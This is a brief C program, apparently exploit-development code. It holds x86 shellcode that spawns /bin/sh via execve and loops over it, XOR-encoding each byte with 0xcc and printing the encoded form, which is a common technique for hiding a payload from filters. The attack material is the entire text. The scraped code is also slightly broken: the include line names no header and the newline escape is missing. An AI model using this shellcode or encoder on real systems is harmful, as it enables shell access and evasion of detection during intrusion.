#include int main(void) { char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80"; int i; for(i = 0; i < sizeof(shellcode)-1; i++) { printf(",0x%.2x", (unsigned char)shellcode[i] ^ 0xcc); } printf("n"); return 0; }